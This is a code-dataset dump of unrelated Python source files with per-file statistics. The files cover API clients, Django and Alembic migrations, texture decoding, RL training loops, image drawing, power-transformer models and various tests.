42.330097
58
0.591743
535
4,360
4.783178
0.041122
1.101993
1.37163
1.500586
0.963267
0.962095
0.911684
0.891755
0.891755
0.877296
0
0.000928
0.258257
4,360
103
59
42.330097
0.790353
0.06078
0
0.571429
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
1
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
e3c408b7e24f111f1ac59793e2fe95acfd1aa1c0
183
py
Python
nexus_constructor/model/__init__.py
ess-dmsc/nexus-geometry-constructor
c4d869b01d988629a7864357b8fc2f49a0325111
[ "BSD-2-Clause" ]
null
null
null
nexus_constructor/model/__init__.py
ess-dmsc/nexus-geometry-constructor
c4d869b01d988629a7864357b8fc2f49a0325111
[ "BSD-2-Clause" ]
62
2018-09-18T14:50:34.000Z
2019-02-05T15:43:02.000Z
nexus_constructor/model/__init__.py
ess-dmsc/nexus-geometry-constructor
c4d869b01d988629a7864357b8fc2f49a0325111
[ "BSD-2-Clause" ]
null
null
null
from .group import Group # noqa: F401 from .entry import Entry # noqa: F401 from .component import Component # noqa: F401 from .group_container import GroupContainer # noqa: F401
36.6
57
0.759563
25
183
5.52
0.36
0.231884
0.26087
0
0
0
0
0
0
0
0
0.07947
0.174863
183
4
58
45.75
0.834437
0.234973
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
e3d02fc699e97954a845f4b9e03c336389105f50
18,919
py
Python
memsource_cli/api/webhook_api.py
unofficial-memsource/memsource-cli-client
a6639506b74e95476da87f4375953448b76ea90c
[ "Apache-2.0" ]
16
2019-09-25T00:20:38.000Z
2021-05-04T05:56:10.000Z
memsource_cli/api/webhook_api.py
zerodayz/memsource-cli-client
c2574f1467539a49e6637c874e88d75c7ef789b3
[ "Apache-2.0" ]
26
2019-09-30T14:00:03.000Z
2021-05-12T11:15:18.000Z
memsource_cli/api/webhook_api.py
zerodayz/memsource-cli-client
c2574f1467539a49e6637c874e88d75c7ef789b3
[ "Apache-2.0" ]
1
2021-05-24T16:19:14.000Z
2021-05-24T16:19:14.000Z
# coding: utf-8 """ Memsource REST API Welcome to Memsource's API documentation. To view our legacy APIs please [visit our documentation](https://wiki.memsource.com/wiki/Memsource_API) and for more information about our new APIs, [visit our blog](https://www.memsource.com/blog/2017/10/24/introducing-rest-apis...
36.807393
421
0.601987
2,232
18,919
4.818996
0.087366
0.054016
0.037653
0.03347
0.915024
0.910004
0.907679
0.89801
0.89801
0.890945
0
0.01936
0.306517
18,919
513
422
36.879142
0.800457
0.326127
0
0.791822
0
0
0.17284
0.035751
0
0
0
0
0
1
0.040892
false
0
0.01487
0
0.115242
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
e3d836ca63cf992d5271ef5f62de49f2c7a005c4
78,444
py
Python
arbytmap/dds_defs.py
forksnd/arbytmap
d43e9443988da6e7ab71e29debfc3d64f39f5c92
[ "MIT" ]
2
2020-04-11T16:14:55.000Z
2020-08-25T16:05:29.000Z
arbytmap/dds_defs.py
forksnd/arbytmap
d43e9443988da6e7ab71e29debfc3d64f39f5c92
[ "MIT" ]
2
2020-04-18T17:23:16.000Z
2020-10-04T10:08:54.000Z
arbytmap/dds_defs.py
MosesofEgypt/arbytmap
d43e9443988da6e7ab71e29debfc3d64f39f5c92
[ "MIT" ]
2
2020-01-30T17:52:17.000Z
2020-05-10T12:59:58.000Z
from array import array from math import sqrt #this will be the reference to the bitmap convertor module. #once the module loads this will become the reference to it. ab = None try: from arbytmap.ext import dds_defs_ext fast_dds_defs = True except Exception: fast_dds_defs = False def get_texel_pixel_cou...
37.586967
86
0.544988
11,704
78,444
3.445745
0.03973
0.006794
0.034516
0.003967
0.841404
0.822758
0.797615
0.786928
0.773736
0.758908
0
0.065708
0.339401
78,444
2,086
87
37.604986
0.712543
0.156086
0
0.701578
0
0
0.004563
0
0
0
0.001795
0
0.007174
1
0.028694
false
0.002152
0.002152
0.011478
0.068149
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
e3db544d00fdc6c70c12fb95341cd366373d1301
293
py
Python
rlcard/games/karma/__init__.py
pettaa123/rlcard
f5b98eb3a836406ee51197728a258c834959ddb3
[ "MIT" ]
null
null
null
rlcard/games/karma/__init__.py
pettaa123/rlcard
f5b98eb3a836406ee51197728a258c834959ddb3
[ "MIT" ]
null
null
null
rlcard/games/karma/__init__.py
pettaa123/rlcard
f5b98eb3a836406ee51197728a258c834959ddb3
[ "MIT" ]
null
null
null
from rlcard.games.karma.dealer import KarmaDealer as Dealer #from rlcard.games.karma.judger import KarmaJudger as Judger from rlcard.games.karma.player import KarmaPlayer as Player from rlcard.games.karma.round import KarmaRound as Round from rlcard.games.karma.game import KarmaGame as Game
41.857143
60
0.83959
45
293
5.466667
0.355556
0.203252
0.304878
0.406504
0
0
0
0
0
0
0
0
0.105802
293
6
61
48.833333
0.938931
0.201365
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
e3e68fd9d9c3aa2c6b00ad9648fa8ab13795b588
28,481
py
Python
koku/reporting/migrations/0100_aws_azure_query_perforance.py
Vasyka/koku
b5aa9ec41c3b0821e74afe9ff3a5ffaedb910614
[ "Apache-2.0" ]
2
2022-01-12T03:42:39.000Z
2022-01-12T03:42:40.000Z
koku/reporting/migrations/0100_aws_azure_query_perforance.py
Vasyka/koku
b5aa9ec41c3b0821e74afe9ff3a5ffaedb910614
[ "Apache-2.0" ]
null
null
null
koku/reporting/migrations/0100_aws_azure_query_perforance.py
Vasyka/koku
b5aa9ec41c3b0821e74afe9ff3a5ffaedb910614
[ "Apache-2.0" ]
1
2021-07-21T09:33:59.000Z
2021-07-21T09:33:59.000Z
# Generated by Django 2.2.10 on 2020-02-28 17:34 import django.contrib.postgres.indexes from django.db import migrations from django.db import models class Migration(migrations.Migration): dependencies = [("reporting", "0099_ocp_performance")] operations = [ migrations.RunSQL( # Got to d...
38.178284
131
0.664689
3,410
28,481
5.231965
0.058651
0.076789
0.031388
0.022869
0.926349
0.901575
0.855894
0.814584
0.74951
0.70764
0
0.002119
0.270988
28,481
745
132
38.22953
0.85715
0.005196
0
0.703488
1
0.00436
0.910728
0.183204
0
0
0
0
0
1
0
false
0
0.00436
0
0.008721
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
e3ef39d7037b4b9b4a8b8c3f605004084edd9f92
281
py
Python
example_snippets/multimenus_snippets/Snippets/NumPy/Polynomials/Setup.py
kuanpern/jupyterlab-snippets-multimenus
477f51cfdbad7409eab45abe53cf774cd70f380c
[ "BSD-3-Clause" ]
null
null
null
example_snippets/multimenus_snippets/Snippets/NumPy/Polynomials/Setup.py
kuanpern/jupyterlab-snippets-multimenus
477f51cfdbad7409eab45abe53cf774cd70f380c
[ "BSD-3-Clause" ]
null
null
null
example_snippets/multimenus_snippets/Snippets/NumPy/Polynomials/Setup.py
kuanpern/jupyterlab-snippets-multimenus
477f51cfdbad7409eab45abe53cf774cd70f380c
[ "BSD-3-Clause" ]
1
2021-02-04T04:51:48.000Z
2021-02-04T04:51:48.000Z
import numpy as np from numpy.polynomial import Polynomial as P from numpy.polynomial import Chebyshev as T from numpy.polynomial import Legendre as Le from numpy.polynomial import Laguerre as La from numpy.polynomial import Hermite as H from numpy.polynomial import HermiteE as HE
40.142857
44
0.839858
46
281
5.130435
0.369565
0.228814
0.483051
0.635593
0
0
0
0
0
0
0
0
0.13879
281
7
45
40.142857
0.975207
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
5827df13f642c5c6fd43c086cf337eaf9f2bd5c3
10,959
py
Python
Python/NeonOcean.S4.Main/NeonOcean/S4/Main/Tools/Exceptions.py
NeonOcean/Main
2d85e6d4428f01294d2d34f1807287b753f7490c
[ "CC-BY-4.0" ]
1
2021-05-20T19:33:44.000Z
2021-05-20T19:33:44.000Z
Python/NeonOcean.S4.Main/NeonOcean/S4/Main/Tools/Exceptions.py
NeonOcean/Main
2d85e6d4428f01294d2d34f1807287b753f7490c
[ "CC-BY-4.0" ]
1
2020-06-24T22:50:05.000Z
2020-06-24T22:50:05.000Z
Python/NeonOcean.S4.Main/NeonOcean/S4/Main/Tools/Exceptions.py
NeonOcean/S4.Main
2d85e6d4428f01294d2d34f1807287b753f7490c
[ "CC-BY-4.0" ]
null
null
null
from __future__ import annotations import typing from NeonOcean.S4.Main.Tools import Types class IncorrectTypeException(Exception): def __init__ (self, value, valueName: str, correctTypes: typing.Tuple[typing.Union[type, str, None], ...], *additional): """ This exception will display error messages such as: 'Ex...
40.290441
151
0.747605
1,192
10,959
6.821309
0.100671
0.089534
0.025089
0.022138
0.84762
0.816628
0.790063
0.772599
0.772599
0.772599
0
0.00212
0.139338
10,959
271
152
40.439114
0.859945
0.197463
0
0.777778
0
0
0.081994
0
0
0
0
0
0
1
0.055556
false
0.006173
0.018519
0.018519
0.135802
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
58352ed7d67ded5afdaafc6da286a70db200c9c2
1,459
py
Python
fashion_mnist/model.py
lifeich1/play-tensorflow
b5396f0e3a1d2405db546570c2d6a50e7b65811f
[ "WTFPL" ]
null
null
null
fashion_mnist/model.py
lifeich1/play-tensorflow
b5396f0e3a1d2405db546570c2d6a50e7b65811f
[ "WTFPL" ]
null
null
null
fashion_mnist/model.py
lifeich1/play-tensorflow
b5396f0e3a1d2405db546570c2d6a50e7b65811f
[ "WTFPL" ]
null
null
null
import tensorflow as tf model = tf.keras.Sequential() model.add(tf.keras.layers.Reshape((28, 28, 1), input_shape=(28, 28, ))) model.add(tf.keras.layers.Conv2D(32, (5, 5))) model.add(tf.keras.layers.BatchNormalization(3)) model.add(tf.keras.layers.Activation(tf.nn.relu)) model.add(tf.keras.layers.MaxPool2D((2, 2, ))) ...
39.432432
71
0.747772
236
1,459
4.610169
0.186441
0.180147
0.248162
0.372243
0.819853
0.800551
0.719669
0.719669
0.719669
0.719669
0
0.036337
0.056888
1,459
36
72
40.527778
0.75436
0
0
0.53125
0
0
0.026749
0.021262
0
0
0
0
0
1
0
false
0
0.03125
0
0.03125
0
0
0
0
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
5881edc44473e5047c72654f3ff197f821b68517
203
py
Python
tests/unit/test_yaml.py
didib/ansible-navigator
62fdbd05f25fb2d79133b3ab207f53ac2f2d6d36
[ "Apache-2.0" ]
null
null
null
tests/unit/test_yaml.py
didib/ansible-navigator
62fdbd05f25fb2d79133b3ab207f53ac2f2d6d36
[ "Apache-2.0" ]
1
2022-02-04T02:38:15.000Z
2022-02-04T02:38:15.000Z
tests/unit/test_yaml.py
ganeshrn/ansible-navigator
1580b5e4a4d715fa4bb844bfeeb40f1ac8e628f6
[ "Apache-2.0", "MIT" ]
1
2021-11-17T09:45:18.000Z
2021-11-17T09:45:18.000Z
import ansible_navigator._yaml as yaml_import def test_check_yaml_imports(): assert yaml_import.yaml is not None assert yaml_import.Dumper is not None assert yaml_import.Loader is not None
25.375
45
0.793103
33
203
4.606061
0.454545
0.263158
0.315789
0.197368
0.328947
0.328947
0
0
0
0
0
0
0.172414
203
7
46
29
0.904762
0
0
0
0
0
0
0
0
0
0
0
0.6
1
0.2
true
0
1
0
1.2
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
1
0
1
0
1
0
0
8
54492ed147e2710a37840384faea86e95db7ea06
130
py
Python
icevision/models/mmdet/common/bbox/fastai/__init__.py
ai-fast-track/mantisshrimp
cc6d6a4a048f6ddda2782b6593dcd6b083a673e4
[ "Apache-2.0" ]
580
2020-09-10T06:29:57.000Z
2022-03-29T19:34:54.000Z
icevision/models/mmdet/common/bbox/fastai/__init__.py
ai-fast-track/mantisshrimp
cc6d6a4a048f6ddda2782b6593dcd6b083a673e4
[ "Apache-2.0" ]
691
2020-09-05T03:08:34.000Z
2022-03-31T23:47:06.000Z
icevision/models/mmdet/common/bbox/fastai/__init__.py
lgvaz/mantisshrimp2
743cb7df0dae7eb1331fc2bb66fc9ca09db496cd
[ "Apache-2.0" ]
105
2020-09-09T10:41:35.000Z
2022-03-25T17:16:49.000Z
from icevision.models.mmdet.common.bbox.fastai.callbacks import * from icevision.models.mmdet.common.bbox.fastai.learner import *
43.333333
65
0.830769
18
130
6
0.555556
0.240741
0.351852
0.444444
0.740741
0.740741
0.740741
0
0
0
0
0
0.061538
130
2
66
65
0.885246
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
1
1
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
10
544a77728e9243a262e6800217447c440e88823c
47,586
py
Python
tf_rl/common/train.py
Rowing0914/TF2_RL
c1b7f9b376cbecf01deb17f76f8e761035ed336a
[ "MIT" ]
8
2020-01-13T03:29:50.000Z
2021-11-19T00:59:42.000Z
tf_rl/common/train.py
Rowing0914/TF2_RL
c1b7f9b376cbecf01deb17f76f8e761035ed336a
[ "MIT" ]
5
2020-11-13T17:40:40.000Z
2022-03-12T00:11:33.000Z
tf_rl/common/train.py
Rowing0914/TF2_RL
c1b7f9b376cbecf01deb17f76f8e761035ed336a
[ "MIT" ]
1
2021-04-02T13:42:39.000Z
2021-04-02T13:42:39.000Z
import time from collections import deque from tf_rl.common.utils import * from tf_rl.common.visualise import visualise_act_and_dist """ ===== Value Based Algorithm ===== TODO: think about incorporating PER's memory updating procedure into the model so that, we can unify train_DQN and train_DQN_PER """ def train_D...
45.755769
153
0.534422
5,078
47,586
4.785939
0.072273
0.054314
0.060198
0.037526
0.893799
0.882813
0.864297
0.852487
0.836728
0.826688
0
0.005149
0.371496
47,586
1,039
154
45.799808
0.807443
0.202686
0
0.741071
0
0.001786
0.01829
0
0
0
0
0.000962
0
1
0.017857
false
0.001786
0.007143
0
0.025
0.019643
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
5461d67f5ab1a585d8629ba1bbc80224d5b5498a
6,476
py
Python
examples/drawing/sample16_line.py
chromia/wandplus
815127aeee85dbac3bc8fca35971d2153b1898a9
[ "ImageMagick", "MIT" ]
null
null
null
examples/drawing/sample16_line.py
chromia/wandplus
815127aeee85dbac3bc8fca35971d2153b1898a9
[ "ImageMagick", "MIT" ]
null
null
null
examples/drawing/sample16_line.py
chromia/wandplus
815127aeee85dbac3bc8fca35971d2153b1898a9
[ "ImageMagick", "MIT" ]
null
null
null
#!/usr/bin/env python from wand.image import Image from wand.drawing import Drawing from wand.color import Color # http://www.imagemagick.org/Usage/draw/#strokewidth # original imagemagick command: # convert -size 100x40 xc:lightblue \ # -draw "line 5,35 95,5" \ # line_default.jpg with Image(width=10...
33.729167
76
0.609172
911
6,476
4.260154
0.084523
0.06184
0.04638
0.051018
0.903118
0.881732
0.881732
0.832517
0.794125
0.718887
0
0.082004
0.244904
6,476
191
77
33.905759
0.711656
0.31887
0
0.778761
0
0
0.100665
0
0
0
0
0
0
1
0
true
0
0.026549
0
0.026549
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
8
b71001480f941cb198b817d674f01171403b0eda
33,288
py
Python
koku/reporting/provider/gcp/models.py
bsquizz/koku
386dd6ca4a4fd1b50790a929acc81d2dc245a91c
[ "Apache-2.0" ]
null
null
null
koku/reporting/provider/gcp/models.py
bsquizz/koku
386dd6ca4a4fd1b50790a929acc81d2dc245a91c
[ "Apache-2.0" ]
null
null
null
koku/reporting/provider/gcp/models.py
bsquizz/koku
386dd6ca4a4fd1b50790a929acc81d2dc245a91c
[ "Apache-2.0" ]
null
null
null
# # Copyright 2021 Red Hat Inc. # SPDX-License-Identifier: Apache-2.0 # """Models for GCP cost and usage entry tables.""" from uuid import uuid4 from django.contrib.postgres.fields import ArrayField from django.contrib.postgres.indexes import GinIndex from django.db import models from django.db.models import JSONField...
34.74739
107
0.714402
4,149
33,288
5.499879
0.056881
0.057145
0.082037
0.109383
0.857224
0.838074
0.812306
0.775669
0.731978
0.677725
0
0.016939
0.173546
33,288
957
108
34.783699
0.812511
0.104362
0
0.621212
0
0
0.129567
0.079631
0
0
0
0
0
1
0
false
0
0.00947
0
0.645833
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
7
b7142b0ef12c6a87be2402c1531270d92aeedce0
382
py
Python
00 - Quickly Look/Fibonacci/Fibonacci.py
whosramoss/Optimal-Coding-Solutions
2b507fab7174fe2d22bc8c153df70753c84ace7e
[ "MIT" ]
null
null
null
00 - Quickly Look/Fibonacci/Fibonacci.py
whosramoss/Optimal-Coding-Solutions
2b507fab7174fe2d22bc8c153df70753c84ace7e
[ "MIT" ]
null
null
null
00 - Quickly Look/Fibonacci/Fibonacci.py
whosramoss/Optimal-Coding-Solutions
2b507fab7174fe2d22bc8c153df70753c84ace7e
[ "MIT" ]
null
null
null
# Python def fib(): a, b = 1, 1 while True: yield a a, b = b, a + b for index, x in enumerate(fib()): if index == 10: break print("%s" % x), # Python 3 def fib3(): a, b = 1, 1 while True: yield a a, b = b, a + b for index, x in enumerate(fib()): if...
16.608696
34
0.445026
60
382
2.833333
0.383333
0.070588
0.035294
0.047059
0.776471
0.776471
0.776471
0.776471
0.776471
0.776471
0
0.043103
0.39267
382
23
34
16.608696
0.689655
0.041885
0
0.777778
0
0
0.013736
0
0
0
0
0
0
1
0.111111
true
0
0
0
0.111111
0.111111
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
7
b717485402b95034de64a33d52aecf589fb708cc
890
py
Python
correct_python_programs/max_sublist_sum.py
PatrickShaw/QuixBugs
5a2eb2987fdac12860b526ffa92a57e5831fd639
[ "MIT" ]
22
2018-01-29T01:56:30.000Z
2022-03-21T12:25:40.000Z
correct_python_programs/max_sublist_sum.py
zixifan/QuixBugs
5a2eb2987fdac12860b526ffa92a57e5831fd639
[ "MIT" ]
31
2017-12-18T21:04:34.000Z
2022-02-21T07:38:09.000Z
correct_python_programs/max_sublist_sum.py
zixifan/QuixBugs
5a2eb2987fdac12860b526ffa92a57e5831fd639
[ "MIT" ]
19
2018-01-06T14:18:33.000Z
2022-03-21T12:25:43.000Z
def max_sublist_sum(arr): max_ending_here = 0 max_so_far = 0 for x in arr: max_ending_here = max(0, max_ending_here + x) max_so_far = max(max_so_far, max_ending_here) return max_so_far """ def max_sublist_sum(arr): max_ending_here = 0 max_so_far = 0 for x in arr: ...
19.777778
53
0.65618
160
890
3.2
0.0875
0.28125
0.40625
0.25
0.994141
0.994141
0.994141
0.994141
0.994141
0.994141
0
0.015385
0.269663
890
44
54
20.227273
0.772308
0
0
0
0
0
0
0
0
0
0
0
0
1
0.142857
false
0
0
0
0.285714
0
0
0
0
null
1
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
b7189591fccb4b1fa9bd355ffb96080ca2aa362a
29,331
py
Python
molo/core/tests/test_translations.py
praekelt/molo
a46e6e63e5ae9525f077f3d548cc0b492f884b97
[ "BSD-2-Clause" ]
25
2015-09-26T13:45:30.000Z
2018-09-13T14:12:20.000Z
molo/core/tests/test_translations.py
praekelt/molo
a46e6e63e5ae9525f077f3d548cc0b492f884b97
[ "BSD-2-Clause" ]
510
2015-05-29T09:30:44.000Z
2018-12-11T09:08:11.000Z
molo/core/tests/test_translations.py
praekeltfoundation/molo
a46e6e63e5ae9525f077f3d548cc0b492f884b97
[ "BSD-2-Clause" ]
5
2020-03-26T19:30:13.000Z
2020-09-04T16:35:59.000Z
import pytest from django.utils import timezone from django.urls import reverse from django.core.cache import cache from django.test import TestCase, RequestFactory from django.shortcuts import get_object_or_404 from django.db.models.query import QuerySet from wagtail.core.models import Site from molo.core.tests.bas...
42.694323
79
0.61822
3,201
29,331
5.471728
0.074664
0.063945
0.045218
0.050357
0.829061
0.790294
0.778019
0.75284
0.725607
0.717442
0
0.010682
0.269135
29,331
686
80
42.75656
0.806363
0.052436
0
0.7487
0
0
0.276373
0.164109
0
0
0
0
0.117851
1
0.036395
false
0
0.02253
0
0.060659
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
3f9e915f91a991447a07a5e623669113d67db160
21,254
py
Python
alembic/versions/eb70cc55b178_entry_group_optimization.py
SegFaulti4/lingvodoc
8b296b43453a46b814d3cd381f94382ebcb9c6a6
[ "Apache-2.0" ]
5
2017-03-30T18:02:11.000Z
2021-07-20T16:02:34.000Z
alembic/versions/eb70cc55b178_entry_group_optimization.py
SegFaulti4/lingvodoc
8b296b43453a46b814d3cd381f94382ebcb9c6a6
[ "Apache-2.0" ]
15
2016-02-24T13:16:59.000Z
2021-09-03T11:47:15.000Z
alembic/versions/eb70cc55b178_entry_group_optimization.py
Winking-maniac/lingvodoc
f037bf0e91ccdf020469037220a43e63849aa24a
[ "Apache-2.0" ]
22
2015-09-25T07:13:40.000Z
2021-08-04T18:08:26.000Z
"""Entry group optimization Revision ID: eb70cc55b178 Revises: 2b852140e36e Create Date: 2019-11-05 09:40:55.615947 """ # revision identifiers, used by Alembic. revision = 'eb70cc55b178' down_revision = '2b852140e36e' branch_labels = None depends_on = None from alembic import op import sqlalchemy as sa def upg...
25.272295
112
0.530865
2,396
21,254
4.459933
0.071786
0.073367
0.021336
0.035561
0.926446
0.920176
0.910163
0.900524
0.878533
0.878533
0
0.005441
0.42058
21,254
840
113
25.302381
0.862282
0.007199
0
0.895652
0
0
0.972263
0.077806
0
0
0
0
0
1
0.003478
false
0
0.003478
0
0.015652
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
3fac02411248ae6bff234ce2f00cc78b5e22bb71
41
py
Python
python-oo/examples/schoolofnet/string/str.py
marcelloti/COURSE-Iniciando-com-python
7fffd5bc3f5a8a8dd1d0cd2abb8b2e51ba9f0202
[ "MIT" ]
null
null
null
python-oo/examples/schoolofnet/string/str.py
marcelloti/COURSE-Iniciando-com-python
7fffd5bc3f5a8a8dd1d0cd2abb8b2e51ba9f0202
[ "MIT" ]
null
null
null
python-oo/examples/schoolofnet/string/str.py
marcelloti/COURSE-Iniciando-com-python
7fffd5bc3f5a8a8dd1d0cd2abb8b2e51ba9f0202
[ "MIT" ]
null
null
null
def hello(): return ("Hello World!")
13.666667
27
0.585366
5
41
4.8
0.8
0
0
0
0
0
0
0
0
0
0
0
0.219512
41
2
28
20.5
0.75
0
0
0
0
0
0.292683
0
0
0
0
0
0
1
0.5
true
0
0
0.5
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
0
1
1
0
0
7
3ff4f2a801e34dce974ed62942db41a45930eab5
7,421
py
Python
src/bot/tests/launches/test_launches_sln_310.py
ItsCalebJones/SpaceLaunchNow_API
09289068465c462557649172792ab0f41f833028
[ "Apache-2.0" ]
11
2017-06-26T05:01:31.000Z
2019-09-13T18:48:27.000Z
src/bot/tests/launches/test_launches_sln_310.py
ItsCalebJones/SpaceLaunchNow_API
09289068465c462557649172792ab0f41f833028
[ "Apache-2.0" ]
14
2019-01-30T23:13:34.000Z
2019-10-08T10:43:36.000Z
src/bot/tests/launches/test_launches_sln_310.py
ItsCalebJones/SpaceLaunchNow_API
09289068465c462557649172792ab0f41f833028
[ "Apache-2.0" ]
5
2018-04-24T16:52:59.000Z
2018-08-22T14:06:01.000Z
import json import unittest from datetime import timedelta from rest_framework import status from api.models import * from api.tests.test__base import LLAPITests, settings class LaunchSLNv310Tests(LLAPITests): @unittest.skipIf(settings.IS_LL, "Not supported in this configuration.") def test_upcoming_normal...
44.437126
143
0.640345
882
7,421
5.272109
0.111111
0.090323
0.085806
0.05871
0.888817
0.886022
0.869892
0.851183
0.851183
0.847742
0
0.011604
0.221938
7,421
166
144
44.704819
0.793731
0.050937
0
0.709677
0
0
0.137141
0.033923
0
0
0
0
0.5
1
0.056452
false
0
0.048387
0
0.112903
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
8
b748b7520b3cc02a84224d53b7028891fb039ffb
16,743
py
Python
pydgrid/transformers.py
pydgrid/pydgrid
c56073c385f42883c79333533f7cfb8383a173aa
[ "MIT" ]
15
2019-01-29T08:22:39.000Z
2022-01-13T20:41:32.000Z
pydgrid/transformers.py
pydgrid/pydgrid
c56073c385f42883c79333533f7cfb8383a173aa
[ "MIT" ]
1
2017-11-28T21:34:52.000Z
2017-11-28T21:34:52.000Z
pydgrid/transformers.py
pydgrid/pydgrid
c56073c385f42883c79333533f7cfb8383a173aa
[ "MIT" ]
4
2018-02-15T02:12:47.000Z
2020-02-16T17:52:15.000Z
# -*- coding: utf-8 -*- """ Created on Sun Mar 5 13:04:45 2017 @author: jmmauricio """ import numpy as np import difflib def trafo_yprim(S_n,U_1n,U_2n,Z_cc,connection='Dyg11'): ''' Trafo primitive as developed in: (in the paper Ynd11) R. C. Dugan and S. Santoso, “An example of 3-phase transformer mode...
30.948244
120
0.339425
2,911
16,743
1.748884
0.046376
0.091141
0.06482
0.147712
0.859753
0.833628
0.813985
0.811236
0.807896
0.798468
0
0.173893
0.4848
16,743
541
121
30.948244
0.416184
0.139879
0
0.851064
0
0
0.013501
0
0
0
0
0
0
1
0.00266
false
0
0.005319
0
0.010638
0.00266
0
0
1
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
b76c68ab661ace08d8abd6aeaef4ef7a76a60acc
109
py
Python
api/v1/generics/__init__.py
vulnman/vulnman
d48ee022bc0e4368060a990a527b1c7a5e437504
[ "MIT" ]
3
2021-12-22T07:02:24.000Z
2022-01-27T20:19:11.000Z
api/v1/generics/__init__.py
vulnman/vulnman
d48ee022bc0e4368060a990a527b1c7a5e437504
[ "MIT" ]
44
2021-12-14T07:24:29.000Z
2022-03-23T07:01:16.000Z
api/v1/generics/__init__.py
vulnman/vulnman
d48ee022bc0e4368060a990a527b1c7a5e437504
[ "MIT" ]
1
2022-01-21T16:29:56.000Z
2022-01-21T16:29:56.000Z
from api.v1.generics.agents import AgentModelViewSet from api.v1.generics.session import SessionModelViewSet
36.333333
55
0.87156
14
109
6.785714
0.642857
0.147368
0.189474
0.357895
0
0
0
0
0
0
0
0.019802
0.073395
109
2
56
54.5
0.920792
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
b7ce8d7108417fe7d2882a144d44be43f9e5e0cf
2,718
py
Python
tests/test_guests.py
questionlp/api.wwdt.me_fastapi
fa8c24a36c5c6f2ece985a4d6e0e40201ac700dc
[ "Apache-2.0" ]
null
null
null
tests/test_guests.py
questionlp/api.wwdt.me_fastapi
fa8c24a36c5c6f2ece985a4d6e0e40201ac700dc
[ "Apache-2.0" ]
1
2022-01-03T15:48:29.000Z
2022-01-03T15:48:29.000Z
tests/test_guests.py
questionlp/api.wwdt.me_fastapi
fa8c24a36c5c6f2ece985a4d6e0e40201ac700dc
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # Copyright (c) 2018-2021 Linh Pham # api.wwdt.me is released under the terms of the Apache License 2.0 """Testing /v2.0/guests routes """ from fastapi.testclient import TestClient import pytest from app.main import app from app.config import API_VERSION client = TestClient(app) def test_gue...
27.734694
78
0.672553
394
2,718
4.522843
0.15736
0.054994
0.080247
0.058923
0.820988
0.790685
0.790685
0.790685
0.730079
0.704265
0
0.024172
0.178072
2,718
97
79
28.020619
0.7735
0.140545
0
0.7
0
0
0.188507
0.095777
0
0
0
0
0.55
1
0.1
false
0
0.066667
0
0.166667
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
